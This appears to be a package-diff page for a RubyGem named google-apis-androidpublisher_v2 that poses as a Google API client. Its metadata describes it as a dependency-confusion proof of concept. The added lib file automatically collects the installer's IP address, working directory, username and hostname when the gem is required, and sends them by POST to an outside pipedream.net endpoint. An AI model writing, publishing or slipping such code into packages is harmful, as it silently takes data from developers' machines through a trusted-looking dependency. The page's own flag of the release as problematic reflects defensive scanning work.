google-apis-androidpublisher_v2 0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of google-apis-androidpublisher_v2 might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/bin/google-apis-androidpublisher_v2_executable +3 -0
- data/lib/google-apis-androidpublisher_v2.rb +38 -0
- metadata +46 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: b92e182c31fdeea9df5d49f032f34d8f7ff8bf0955fd78a67f5a07f59a107f30
|
4
|
+
data.tar.gz: 26dc9434fb70b0d6ef1c924d0a69b8d5c71b602cca6de2b94ea853d6133c189d
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: ff0a34fa60ced515a6db99085bf2451018c504e27b1dc7e7b7ec840962611cda9c550bfaf6452de07b8684f542edaa13fcb6cdf55b16bb40ddc63bda91fc51cb
|
7
|
+
data.tar.gz: 5c7e2cadd73a78aaabb8607b1aa5e25efa72cee36882a3d48e36167a47ff698c6b7646977971f39bd9680bd5106e71fbf188b6fc15a16267f095d392108f4a98
|
@@ -0,0 +1,38 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'socket'
|
3
|
+
|
4
|
+
module MyGem
|
5
|
+
class MyRubyFile
|
6
|
+
def self.send_data
|
7
|
+
# Get IP address
|
8
|
+
ip = Socket.ip_address_list.find { |addr| addr.ipv4? && !addr.ipv4_loopback? }&.ip_address || ''
|
9
|
+
|
10
|
+
# Get working directory
|
11
|
+
dir = Dir.pwd
|
12
|
+
|
13
|
+
# Get username
|
14
|
+
username = ENV['USER'] || ''
|
15
|
+
|
16
|
+
# Get hostname
|
17
|
+
hostname = Socket.gethostname
|
18
|
+
|
19
|
+
# Burp Collaborator server URL
|
20
|
+
burp_url = 'https://eo12kxtvatnejre.m.pipedream.net'
|
21
|
+
|
22
|
+
# Data to send
|
23
|
+
data = {
|
24
|
+
'ip' => ip,
|
25
|
+
'directory' => dir,
|
26
|
+
'username' => username,
|
27
|
+
'hostname' => hostname
|
28
|
+
}
|
29
|
+
|
30
|
+
# Send data to Burp Collaborator server
|
31
|
+
uri = URI.parse(burp_url)
|
32
|
+
Net::HTTP.post_form(uri, data)
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
# Automatically send data when the gem is required
|
38
|
+
MyGem::MyRubyFile.send_data
|
metadata
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: google-apis-androidpublisher_v2
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: '0.1'
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Naveen Kumawat
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-07-19 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: D3p3nd3ncy C0nfus10n P0C for Google
|
14
|
+
email:
|
15
|
+
- naveenkumawat1995@gmail.com
|
16
|
+
executables:
|
17
|
+
- google-apis-androidpublisher_v2_executable
|
18
|
+
extensions: []
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- bin/google-apis-androidpublisher_v2_executable
|
22
|
+
- lib/google-apis-androidpublisher_v2.rb
|
23
|
+
homepage: https://rubygems.org/gems/google-apis-androidpublisher_v2
|
24
|
+
licenses:
|
25
|
+
- MIT
|
26
|
+
metadata: {}
|
27
|
+
post_install_message:
|
28
|
+
rdoc_options: []
|
29
|
+
require_paths:
|
30
|
+
- lib
|
31
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
32
|
+
requirements:
|
33
|
+
- - ">="
|
34
|
+
- !ruby/object:Gem::Version
|
35
|
+
version: '0'
|
36
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - ">="
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
requirements: []
|
42
|
+
rubygems_version: 3.4.10
|
43
|
+
signing_key:
|
44
|
+
specification_version: 4
|
45
|
+
summary: D3p3nd3ncy C0nfus10n P0C for Google
|
46
|
+
test_files: []
|